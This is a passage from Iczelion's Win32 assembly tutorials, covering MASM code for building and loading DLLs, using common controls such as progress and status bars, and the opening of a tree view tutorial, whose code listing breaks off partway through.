Under Windows, the situation becomes much more critical because you can have several programs running simultaneously. Memory will be eat up quickly if your program is quite large. Windows has a solution for this type of problem: dynamic link libraries. A dynamic link library is a kind of common pool of functions. Windows will not load several copies of a DLL into memory so even if there are many instances of your program running at the same time, there'll be only one copy of the DLL that program uses in memory. And I should clarify this point a bit. In reality, all processes that use the same dll will have their own copies of that dll. It will look like there are many copies of the DLL in memory. But in reality, Windows does it magic with paging and all processes share the same DLL code.So in physical memory, there is only one copy of DLL code. However, each process will have its own unique data section of the DLL.
The program links to a DLL at runtime unlike the old static library. That's why it's called dynamic link library. You can also unload a DLL at runtime as well when you don't need it. If that program is the only one that uses the DLL, it'll be unloaded from memory immediately. But if the DLL is still used by some other program, the DLL remains in memory until the last program that uses its service unloads it.
However, the linker has a more difficult job when it performs address fixups for the final executable file. Since it cannot "extract" the functions and insert them into the final executable file, somehow it must store enough information about the DLL and functions into the final execuable file for it to be able to locate and load the correct DLL at runtime.
That's where import library comes in. An import library contains the information about the DLL it represents. The linker can extract the info it needs from the import libraries and stuff it into the executable file. When Windows loader loads the program into memory, it sees that the program links to a DLL so it searches for that DLL and maps it into the address space of the process as well and performs the address fixups for the calls to the functions in the DLL.
You may choose to load the DLL yourself without relying on Windows loader. This method has its pros and cons:
  • It doesn't need an import library so you can load and use any DLL even if it comes with no import library. However, you still have to know about the functions inside it, how many parameters they take and the likes.
  • When you let the loader load the DLL for your program, if the loader cannot find the DLL it will report "A required .DLL file, xxxxx.dll is missing" and poof! your program doesn't have a chance to run even if that DLL is not essential to its operation. If you load the DLL yourself, when the DLL cannot be found and it's not essential to the operation, your program can just tell the user about the fact and go on.
  • You can call *undocumented* functions that are not included in the import libraries. Provided that you know enough info about the functions.
  • If you use LoadLibrary, you have to call GetProcAddress for every function that you want to call. GetProcAddress retrieves the entrypoint address of a function in a particular DLL. So your code might be a little bit larger and slower but by not much.
Seeing the advantages/disadvantages of LoadLibrary call, we go into detail how to create a DLL now.
The following code is the DLL skeleton.

;--------------------------------------------------------------------------------------
; DLLSkeleton.asm
;--------------------------------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
.code
DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
mov eax,TRUE
ret
DllEntry Endp
;---------------------------------------------------------------------------------------------------
; This is a dummy function
; It does nothing. I put it here to show where you can insert functions into
; a DLL.
;----------------------------------------------------------------------------------------------------
TestFunction proc
ret
TestFunction endp

End DllEntry

;-------------------------------------------------------------------------------------
; DLLSkeleton.def
;-------------------------------------------------------------------------------------
LIBRARY DLLSkeleton
EXPORTS TestFunction

The above program is the DLL skeleton. Every DLL must have an entrypoint function. Windows will call the entrypoint function everytime that:

  • The DLL is first loaded
  • The DLL is unloaded
  • A thread is created in the same process
  • A thread is destroyed in the same process
DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
mov eax,TRUE
ret
DllEntry Endp

You can name the entrypoint function anything you wish so long as you have a matching END <Entrypoint function name>. This function takes three parameters, only the first two of which are important.
hInstDLL is the module handle of the DLL. It's not the same as the instance handle of the process. You should keep this value if you need to use it later. You can't obtain it again easily.
reason can be one of the four values:

  • DLL_PROCESS_ATTACH The DLL receives this value when it is first injected into the process address space. You can use this opportunity to do initialization.
  • DLL_PROCESS_DETACH The DLL receives this value when it is being unloaded from the process address space. You can use this opportunity to do some cleanup such as deallocate memory and so on.
  • DLL_THREAD_ATTACH The DLL receives this value when the process creates a new thread.
  • DLL_THREAD_DETACH The DLL receives this value when a thread in the process is destroyed.
You return TRUE in eax if you want the DLL to go on running. If you return FALSE, the DLL will not be loaded. For example, if your initialization code must allocate some memory and it cannot do that successfully, the entrypoint function should return FALSE to indicate that the DLL cannot run.
You can put your functions in the DLL following the entrypoint function or before it. But if you want them to be callable from other programs, you must put their names in the export list in the module definition file (.def).
A DLL needs a module definition file in its developmental stage. We will take a look at it now.

LIBRARY DLLSkeleton
EXPORTS TestFunction

Normally you must have the first line.The LIBRARY statement defines the internal module name of the DLL. You should match it with the filename of the DLL.
The EXPORTS statement tells the linker which functions in the DLL are exported, that is, callable from other programs. In the example, we want other modules to be able to call TestFunction, so we put its name in the EXPORTS statement.
Another change is in the linker switch. You must put /DLL switch and /DEF:<your def filename> in your linker switches like this:

link /DLL /SUBSYSTEM:WINDOWS /DEF:DLLSkeleton.def /LIBPATH:c:\masm32\lib DLLSkeleton.obj

The assembler switches are the same, namely /c /coff /Cp. So after you link the object file, you will get .dll and .lib. The .lib is the import library which you can use to link to other programs that use the functions in the DLL.
Next I'll show you how to use LoadLibrary to load a DLL.

;---------------------------------------------------------------------------------------------
; UseDLL.asm
;----------------------------------------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

.data
LibName db "DLLSkeleton.dll",0
FunctionName db "TestHello",0
DllNotFound db "Cannot load library",0
AppName db "Load Library",0
FunctionNotFound db "TestHello function not found",0

.data?
hLib dd ? ; the handle of the library (DLL)
TestHelloAddr dd ? ; the address of the TestHello function

.code
start:
invoke LoadLibrary,addr LibName
;---------------------------------------------------------------------------------------------------------
; Call LoadLibrary with the name of the desired DLL. If the call is successful
; it will return the handle to the library (DLL). If not, it will return NULL
; You can pass the library handle to GetProcAddress or any function that requires
; a library handle as a parameter.
;------------------------------------------------------------------------------------------------------------
.if eax==NULL
invoke MessageBox,NULL,addr DllNotFound,addr AppName,MB_OK
.else
mov hLib,eax
invoke GetProcAddress,hLib,addr FunctionName
;-------------------------------------------------------------------------------------------------------------
; When you get the library handle, you pass it to GetProcAddress with the address
; of the name of the function in that DLL you want to call. It returns the address
; of the function if successful. Otherwise, it returns NULL
; Addresses of functions don't change unless you unload and reload the library.
; So you can put them in global variables for future use.
;-------------------------------------------------------------------------------------------------------------
.if eax==NULL
invoke MessageBox,NULL,addr FunctionNotFound,addr AppName,MB_OK
.else
mov TestHelloAddr,eax
call [TestHelloAddr]
;-------------------------------------------------------------------------------------------------------------
; Next, you can call the function with a simple call with the variable containing
; the address of the function as the operand.
;-------------------------------------------------------------------------------------------------------------
.endif
invoke FreeLibrary,hLib
;-------------------------------------------------------------------------------------------------------------
; When you don't need the library anymore, unload it with FreeLibrary.
;-------------------------------------------------------------------------------------------------------------
.endif
invoke ExitProcess,NULL
end start

So you can see that using LoadLibrary is a little more involved but it's also more flexible.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 18: Common Controls

We will learn what common controls are and how to use them. This tutorial will be a quick introduction to them only.
Download the example source code here.

Theory:

Windows 95 comes with several user-interface enhancements over Windows 3.1x. They make the GUI richer. Several of them are in widely used before Windows 95 hit the shelf, such as status bar, toolbars etc. Programmers have to code them themselves. Now Microsoft has included them with Windows 9x and NT. We will learn about them here.
These are the new controls:
  • Toolbar
  • Tooltip
  • Status bar
  • Property sheet
  • Property page
  • Tree view
  • List view
  • Animation
  • Drag list
  • Header
  • Hot-key
  • Image list
  • Progress bar
  • Right edit
  • Tab
  • Trackbar
  • Up-down
Since there are many of them, loading them all into memory and registering them would be a waste of resource. All of them, with the exception of rich edit control, are stored in comctl32.dll with applications can load when they want to use the controls. Rich edit control resides in its own dll, richedXX.dll, because it's very complicated and hence larger than its brethren.
You can load comctl32.dll by including a call to InitCommonControls in your program. InitCommonControls is a function in comctl32.dll, so referring to it anywhere in your code will make PE loader load comctl32.dll when your program runs.You don't have to execute it, just include it in your code somewhere. This function does NOTHING! Its only instruction is "ret". Its sole purpose is to include reference to comctl32.dll in the import section so that PE loader will load it whenever the program is loaded. The real workhorse is the DLL entrypoint function which registers all common control classes when the dll is loaded. Common controls are created based on those classes just like other child window controls such as edit, listbox etc.
Rich edit is another matter entirely. If you want to use it, you have to call LoadLibrary to load it explicitly and call FreeLibrary to unload it.
Now we learn how to create them. You can use a resource editor to incorporate them into dialog boxes or you can create them yourself. Nearly all common controls are created by calling CreateWindowEx or CreateWindow, passing it the name of the control class. Some common controls have specific creation functions , however, they are just wrappers around CreateWindowEx to make it easier to create those controls. Existing specific creation functions are listed below:
  • CreateToolbarEx
  • CreateStatusWindow
  • CreatePropertySheetPage
  • PropertySheet
  • ImageList_Create
In order to create common controls, you have to know their class names. They are listed below:
Class Name | Common Control
ToolbarWindow32 | Toolbar
tooltips_class32 | Tooltip
msctls_statusbar32 | Status bar
SysTreeView32 | Tree view
SysListView32 | List view
SysAnimate32 | Animation
SysHeader32 | Header
msctls_hotkey32 | Hot-key
msctls_progress32 | Progress bar
RICHEDIT | Rich edit
msctls_updown32 | Up-down
SysTabControl32 | Tab
Property sheets and property pages and image list control have their own specific creation functions. Drag list control are souped-up listbox so it doesn't have its own class. The above class names are verified by checking resource script generated by Visual C++ resource editor. They differ from the class names listed by Borland's win32 api reference and Charles Petzold's Programming Windows 95. The above list is the accurate one.
Those common controls can use general window styles such as WS_CHILD etc. They also have their own specific styles such as TVS_XXXXX for tree view control, LVS_xxxx for list view control, etc. Win32 api reference is your best friend in this regard.
Now that we know how to create common controls, we can move on to communication method between common controls and their parent. Unlike child window controls, common controls don't communicate with the parent via WM_COMMAND. Instead they send WM_NOTIFY messages to the parent window when some interesting events occur with the common controls. The parent can control the children by sending messages to them. There are also many new messages for those new controls. You should consult your win32 api reference for more detail.
Let's examine progress bar and status bar controls in the following example.

Sample code:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comctl32.inc
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD

.const
IDC_PROGRESS equ 1 ; control IDs
IDC_STATUS equ 2
IDC_TIMER equ 3

.data
ClassName db "CommonControlWinClass",0
AppName db "Common Control Demo",0
ProgressClass db "msctls_progress32",0 ; the class name of the progress bar
Message db "Finished!",0
TimerID dd 0

.data?
hInstance HINSTANCE ?
hwndProgress dd ?
hwndStatus dd ?
CurrentStep dd ?
.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax
invoke InitCommonControls

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND

mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.if uMsg==WM_CREATE
invoke CreateWindowEx,NULL,ADDR ProgressClass,NULL,\
WS_CHILD+WS_VISIBLE,100,\
200,300,20,hWnd,IDC_PROGRESS,\
hInstance,NULL
mov hwndProgress,eax
mov eax,1000 ; the lParam of PBM_SETRANGE message contains the range
mov CurrentStep,eax
shl eax,16 ; the high range is in the high word
invoke SendMessage,hwndProgress,PBM_SETRANGE,0,eax
invoke SendMessage,hwndProgress,PBM_SETSTEP,10,0
invoke CreateStatusWindow,WS_CHILD+WS_VISIBLE,NULL,hWnd,IDC_STATUS
mov hwndStatus,eax
invoke SetTimer,hWnd,IDC_TIMER,100,NULL ; create a timer
mov TimerID,eax
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.if TimerID!=0
invoke KillTimer,hWnd,TimerID
.endif
.elseif uMsg==WM_TIMER ; when a timer event occurs
invoke SendMessage,hwndProgress,PBM_STEPIT,0,0 ; step up the progress in the progress bar
sub CurrentStep,10
.if CurrentStep==0
invoke KillTimer,hWnd,TimerID
mov TimerID,0
invoke SendMessage,hwndStatus,SB_SETTEXT,0,addr Message
invoke MessageBox,hWnd,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
invoke SendMessage,hwndStatus,SB_SETTEXT,0,0
invoke SendMessage,hwndProgress,PBM_SETPOS,0,0
.endif
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp
end start

Analysis:

    invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
    invoke ExitProcess,eax
    invoke InitCommonControls
I deliberately put InitCommonControls after ExitProcess to demonstrate that InitCommonControls is just there for putting a reference to comctl32.dll in the import section. As you can see, the common controls work even if InitCommonControls doesn't execute.
    .if uMsg==WM_CREATE
    invoke CreateWindowEx,NULL,ADDR ProgressClass,NULL,\
    WS_CHILD+WS_VISIBLE,100,\
    200,300,20,hWnd,IDC_PROGRESS,\
    hInstance,NULL
    mov hwndProgress,eax
Here is where we create the common control. Note that this CreateWindowEx call contains hWnd as the parent window handle. It also specifies a control ID for identifying this control. However, since we have the control's window handle, this ID is not used. All child window controls must have WS_CHILD style.
    mov eax,1000
    mov CurrentStep,eax
    shl eax,16
    invoke SendMessage,hwndProgress,PBM_SETRANGE,0,eax
    invoke SendMessage,hwndProgress,PBM_SETSTEP,10,0
After the progress bar is created, we can set its range. The default range is from 0 to 100. If you are not satisfied with it, you can specify your own range with PBM_SETRANGE message. lParam of this message contains the range, the maximum range is in the high word and the minimum one is in the low word. You can specify how much a step takes by using PBM_SETSTEP message. The example sets it to 10 which means that when you send a PBM_STEPIT message to the progress bar, the progress indicator will rise by 10. You can also set your own indicator level by sending PBM_SETPOS messages. This message gives you tighter control over the progress bar.
    invoke CreateStatusWindow,WS_CHILD+WS_VISIBLE,NULL,hWnd,IDC_STATUS
    mov hwndStatus,eax
    invoke SetTimer,hWnd,IDC_TIMER,100,NULL ; create a timer
    mov TimerID,eax
Next, we create a status bar by calling CreateStatusWindow. This call is easy to understand so I'll not comment on it. After the status window is created, we create a timer. In this example, we will update the progress bar at a regular interval of 100 ms so we must create a timer control. Below is the function prototype of SetTimer.
    SetTimer PROTO hWnd:DWORD, TimerID:DWORD, TimeInterval:DWORD, lpTimerProc:DWORD
hWnd : Parent window handle
TimerID : a nonzero timer identifier. You can create your own identifier.
TimerInterval : the timer interval in milliseconds that must pass before the timer calls the timer procedure or sends a WM_TIMER message
lpTimerProc : the address of the timer function that will be called when the time interval expires. If this parameter is NULL, the timer will send WM_TIMER message to the parent window instead.

If this call is successful, it will return the TimerID. If it failed, it returns 0. This is why the timer identifer must be a nonzero value.

    .elseif uMsg==WM_TIMER
    invoke SendMessage,hwndProgress,PBM_STEPIT,0,0
    sub CurrentStep,10
    .if CurrentStep==0
    invoke KillTimer,hWnd,TimerID
    mov TimerID,0
    invoke SendMessage,hwndStatus,SB_SETTEXT,0,addr Message
    invoke MessageBox,hWnd,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
    invoke SendMessage,hwndStatus,SB_SETTEXT,0,0
    invoke SendMessage,hwndProgress,PBM_SETPOS,0,0
    .endif
When the specified time interval expires, the timer sends a WM_TIMER message. You will put your code that will be executed here. In this example, we update the progress bar and then check if the maximum limit has been reached. If it has, we kill the timer and then set the text in the status window with SB_SETTEXT message. A message box is displayed and when the user clicks OK, we clear the text in the status bar and the progress bar.
This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 19: Tree View Control

In this tutorial, we will learn how to use tree view control. Moreover, we will also learn how to do drag and drop under tree view control and how to use an image list with it.
Download the example here.

Theory:

A tree view control is a special kind of window that represents objects in hierarchical order. An example of it is the left pane of Windows Explorer. You can use this control to show relationships between objects.
You can create a tree view control by calling CreateWindowEx, passing "SysTreeView32" as the class name or you can incorporate it into a dialog box. Don't forget to put InitCommonControls call in your code.
There are several styles specific to the tree view control. These three are the ones mostly used.
    TVS_HASBUTTONS == Displays plus (+) and minus (-) buttons next to parent items. The user clicks the buttons to expand or collapse a parent item's list of child items. To include buttons with items at the root of the tree view, TVS_LINESATROOT must also be specified.
    TVS_HASLINES == Uses lines to show the hierarchy of items.
    TVS_LINESATROOT == Uses lines to link items at the root of the tree-view control. This value is ignored if TVS_HASLINES is not also specified.
The tree view control, like other common controls, communicates with the parent window via messages. The parent window can send various messages to it and the tree view control can send "notification" messages to its parent window. In this regard, the tree view control is not different that any window.
When something interesting occurs to it, it sends a WM_NOTIFY message to the parent window with accompanying information.
    WM_NOTIFY
    wParam == Control ID, this value is not guaranteed to be unique so we don't use it.
    Instead, we use hwndFrom or IDFrom member of the NMHDR structure
    pointed to by lParam
    lParam == Pointer to NMHDR structure. Some controls may pass a pointer to larger
    structure but it must have a NMHDR structure as its first member.
    That is, when you have lParam, you can be sure that it points to a
    NMHDR structure at least.
Next we will examine NMHDR structure.
    NMHDR struct DWORD
    hwndFrom DWORD ?
    idFrom DWORD ?
    code DWORD ?
    NMHDR ends
hwndFrom is the window handle of the control that sends this WM_NOTIFY message.
idFrom is the control ID of the control that sends this WM_NOTIFY message.
code is the actual message the control wants to send to the parent window.
Tree view notifications are those with TVN_ at the beginning of the name. Tree view messages are those with TVM_, like TVM_CREATEDRAGIMAGE. The tree view control sends TVN_xxxx in the code member of NMHDR. The parent window can send TVM_xxxx to control it.

Adding items to a tree view control

After you create a tree view control, you can add items to it. You can do this by sending TVM_INSERTITEM to it.
    TVM_INSERTITEM
    wParam = 0;
    lParam = pointer to a TV_INSERTSTRUCT;
You should know some terminology at this point about the relationship between items in the tree view control.
An item can be parent, child, or both at the same time. A parent item is the item that has some other subitem(s) associated with it. At the same time, the parent item may be a child of some other item. An item without a parent is called a root item. There can be many root items in a tree view control. Now we examine TV_INSERTSTRUCT structure
    TV_INSERTSTRUCT STRUCT DWORD
    hParent DWORD ?
    hInsertAfter DWORD ?
    ITEMTYPE <>
    TV_INSERTSTRUCT ENDS
hParent = Handle to the parent item. If this member is the TVI_ROOT value or NULL, the item is inserted at the root of the tree-view control.
hInsertAfter = Handle to the item after which the new item is to be inserted or one of the following values:
  • TVI_FIRST ==> Inserts the item at the beginning of the list.
  • TVI_LAST ==> Inserts the item at the end of the list.
  • TVI_SORT ==> Inserts the item into the list in alphabetical order.
    ITEMTYPE UNION
    itemex TVITEMEX <>
    item TVITEM <>
    ITEMTYPE ENDS
We will use only TVITEM here.
    TV_ITEM STRUCT DWORD
    imask DWORD ?
    hItem DWORD ?
    state DWORD ?
    stateMask DWORD ?
    pszText DWORD ?
    cchTextMax DWORD ?
    iImage DWORD ?
    iSelectedImage DWORD ?
    cChildren DWORD ?
    lParam DWORD ?
    TV_ITEM ENDS
This structure is used to send and receive info about a tree view item, depending on messages. For example, with TVM_INSERTITEM, it is used to specify the attribute of the item to be inserted into the tree view control. With TVM_GETITEM, it'll be filled with information about the selected tree view item.
imask is used to specify which member(s) of the TV_ITEM structure is (are) valid. For example, if the value in imask is TVIF_TEXT, it means only the pszText member is valid. You can combine several flags together.
hItem is the handle to the tree view item. Each item has its own handle, like a window handle. If you want to do something with an item, you must select it by its handle.
pszText is the pointer to a null-terminated string that is the label of the tree view item.
cchTextMax is used only when you want to retrieve the label of the tree view item. Because you will supply the pointer to the buffer in pszText, Windows has to know the size of the provided buffer. You have to give the size of the buffer in this member.
iImage and iSelectedImage refers to the index into an image list that contains the images to be shown when the item is not selected and when it's selected. If you recall Windows Explorer left pane, the folder images are specified by these two members.
In order to insert an item into the tree view control, you must at least fill in the hParent, hInsertAfter and you should fill imask and pszText members as well.

Adding images to the tree view control

If you want to put an image to the left of the tree view item's label, you have to create an image list and associate it with the tree view control. You can create an image list by calling ImageList_Create.
    ImageList_Create PROTO cx:DWORD, cy:DWORD, flags:DWORD, \
    cInitial:DWORD, cGrow:DWORD
This function returns the handle to an empty image list if successful.
cx == width of each image in this image list, in pixels.
cy == height of each image in this image list, in pixels. Every image in an image list must be equal to each other in size. If you specify a large bitmap, Windows will use cx and cy to *cut* it into several pieces. So you should prepare your own image as a strip of pictures with identical dimensions.
flags == specify the type of images in this image list whether they are color or monochrome and their color depth. Consult your win32 api reference for more detail
cInitial == The number of images that this image list will initially contain. Windows will use this info to allocate memory for the images.
cGrow == Amount of images by which the image list can grow when the system needs to resize the list to make room for new images. This parameter represents the number of new images that the resized image list can contain.
An image list is not a window! It's only an image deposit for use by other windows.
After an image list is created, you can add images to it by calling ImageList_Add
    ImageList_Add PROTO himl:DWORD, hbmImage:DWORD, hbmMask:DWORD
This function returns -1 if unsuccessful.
himl == the handle of the image list you want to add images to. It is the value returned by a successful call to ImageList_Create
hbmImage == the handle to the bitmap to be added to the image list. You usually store the bitmap in the resource and load it with LoadBitmap call. Note that you don't have to specify the number of images contained in this bitmap because this information is inferred from cx and cy parameters passed to ImageList_Create call.
hbmMask == Handle to the bitmap that contains the mask. If no mask is used with the image list, this parameter is ignored.
Normally, we will add only two images to the image list for use with the tree view control: one that is used when the tree view item is not selected, and the other when the item is selected.
When the image list is ready, you associate it with the tree view control by sending TVM_SETIMAGELIST to the tree view control.
    TVM_SETIMAGELIST
    wParam = type of image list to set. There are two choices:
    • TVSIL_NORMAL Set the normal image list, which contains the selected and unselected images for the tree-view item.
    • TVSIL_STATE Set the state image list, which contains the images for tree-view items that are in a user-defined state.
    lParam = Handle to the image list

Retrieve the info about tree view item

You can retrieve the information about a tree view item by sending TVM_GETITEM message.
    TVM_GETITEM
    wParam = 0
    lParam = pointer to the TV_ITEM structure to be filled with the information
Before you send this message, you must fill imask member with the flag(s) that specifies which member(s) of TV_ITEM you want Windows to fill. And most importantly, you must fill hItem with the handle to the item you want to get information from. And this poses a problem: How can you know the handle of the item you want to retrieve info from? Will you have to store all tree view handles?
The answer is quite simple: you don't have to. You can send TVM_GETNEXTITEM message to the tree view control to retrieve the handle to the tree view item that has the attribute(s) you specified. For example, you can query the handle of the first child item, the root item, the selected item, and so on.
    TVM_GETNEXTITEM
    wParam = flag
    lParam = handle to a tree view item (only necessary for some flag values)
The value in wParam is very important so I present all the flags below:
    • TVGN_CARET Retrieves the currently selected item.
    • TVGN_CHILD Retrieves the first child item of the item specified by the hitem parameter
    • TVGN_DROPHILITE Retrieves the item that is the target of a drag-and-drop operation.
    • TVGN_FIRSTVISIBLE Retrieves the first visible item.
    • TVGN_NEXT Retrieves the next sibling item.
    • TVGN_NEXTVISIBLE Retrieves the next visible item that follows the specified item. The specified item must be visible. Use the TVM_GETITEMRECT message to determine whether an item is visible.
    • TVGN_PARENT Retrieves the parent of the specified item.
    • TVGN_PREVIOUS Retrieves the previous sibling item.
    • TVGN_PREVIOUSVISIBLE Retrieves the first visible item that precedes the specified item. The specified item must be visible. Use the TVM_GETITEMRECT message to determine whether an item is visible.
    • TVGN_ROOT Retrieves the topmost or very first item of the tree-view control.
You can see that, you can retrieve the handle to the tree view item you are interested in from this message. SendMessage returns the handle to the tree view item if successful. You can then fill the returned handle into hItem member of TV_ITEM to be used with TVM_GETITEM message.

Drag and Drop Operation in tree view control

This part is the reason I decided to write this tutorial. When I tried to follow the example in win32 api reference (the win32.hlp from InPrise), I was very frustrated because the vital information is lacking. From trial and error, I finally figured out how to implement drag & drop in a tree view control and I don't want anyone to walk the same path as myself.
Below is the steps in implementing drag & drop operation in a tree view control.
  1. When the user tries to drag an item, the tree view control sends TVN_BEGINDRAG notification to the parent window. You can use this opportunity to create a drag image which is the image that will be used to represent the item while it's being dragged. You can send TVM_CREATEDRAGIMAGE to the tree view control to tell it to create a default drag image from the image that is currently used by the item that will be dragged. The tree view control will create an image list with just one drag image and return the handle to that image list to you.
  2. After the drag image is created, you specify the hotspot of the drag image by calling ImageList_BeginDrag.
      3. ImageList_BeginDrag PROTO himlTrack:DWORD, \
      iTrack:DWORD , \
      dxHotspot:DWORD, \
      dyHotspot:DWORD
      himlTrack is the handle to the image list that contains the drag image.
      iTrack is the index into the image list that specifies the drag image
      dxHotspot specifies the relative distance of the hotspot in horizontal plance in the drag image since this image will be used in place of the mouse cursor, so we need to specify which part of the image is the hotspot.
      dyHotspot specifies the relative distance of the hotspot in the vertical plane.
      Normally, iTrack would be 0 if you tell the tree view control to create the drag image for you. and dxHotspot and dyHotspot can be 0 if you want the left upper corner of the drag image to be the hotspot.
  3. When the drag image is ready to be displayed, we call ImageList_DragEnter to display the drag image in the window.
      4. ImageList_DragEnter PROTO hwndLock:DWORD, x:DWORD, y:DWORD
      hwndLock is the handle of the window that owns the drag image. The drag image will not be able to move outside that window.
      x and y are the x-and y-coordinate of the place where the drag image should be initially displayed. Note that these values are relative to the left upper corner of the window, not the client area.
  4. Now that the drag image is displayed on the window, you will have to support the drag operation in the tree view control. However, there is a little problem here. We have to monitor the drag path with WM_MOUSEMOVE and the drop location with WM_LBUTTONUP messages. However, if the drag image is over some other child windows, the parent window will never receive any mouse message. The solution is to capture the mouse input with SetCapture. Using the call, the mouse messages will be directed to the specified window regardless of where the mouse cursor is.
  5. Within WM_MOUSEMOVE handler, you will update the drag path with ImageList_DragMove call. This function moves the image that is being dragged during a drag-and-drop operation. Furthermore, if you so desire, you can hilite the item that the drag image is over by sending TVM_HITTEST to check if the drag image is over some item. If it is, you can send TVM_SELECTITEM with TVGN_DROPHILITE flag to hilite that item. Note that before sending TVM_SELECTITEM message, you must hide the drag image first else your drag image will leave ugly traces. You can hide the drag image by calling ImageList_DragShowNolock and, after the hilite operation is finished, call ImageList_DragShowNolock again to show the drag image.
  6. When the user releases the left mouse button, you must do several things. If you hilite an item, you must un-hilite it by sending TVM_SELECTITEM with TVGN_DROPHILITE flag again, but this time, lParam MUST be zero. If you don't un-hilite the item, you will get a strange effect: when you select some other item, that item will be enclosed by a rectangle but the hilite will still be on the last hilited item. Next, you must call ImageList_DragLeave followed by ImageList_EndDrag. You must release the mouse by calling ReleaseCapture. If you create an image list, you must destroy it by calling ImageList_Destroy. After that, you can go on with what your program wants to do when the drag & drop operation is completed.

Code sample:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comctl32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
.const
IDB_TREE equ 4006 ; ID of the bitmap resource
.data
ClassName db "TreeViewWinClass",0
AppName db "Tree View Demo",0
TreeViewClass db "SysTreeView32",0
Parent db "Parent Item",0
Child1 db "child1",0
Child2 db "child2",0
DragMode dd FALSE ; a flag to determine if we are in drag mode

.data?
hInstance HINSTANCE ?
hwndTreeView dd ? ; handle of the tree view control
hParent dd ? ; handle of the root tree view item
hImageList dd ? ; handle of the image list used in the tree view control
hDragImageList dd ? ; handle of the image list used to store the drag image

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax
invoke InitCommonControls

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\ WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
CW_USEDEFAULT,200,400,NULL,NULL,\
hInst,NULL
mov hwnd,eax
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc uses edi hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL tvinsert:TV_INSERTSTRUCT
LOCAL hBitmap:DWORD
LOCAL tvhit:TV_HITTESTINFO
.if uMsg==WM_CREATE
invoke CreateWindowEx,NULL,ADDR TreeViewClass,NULL,\
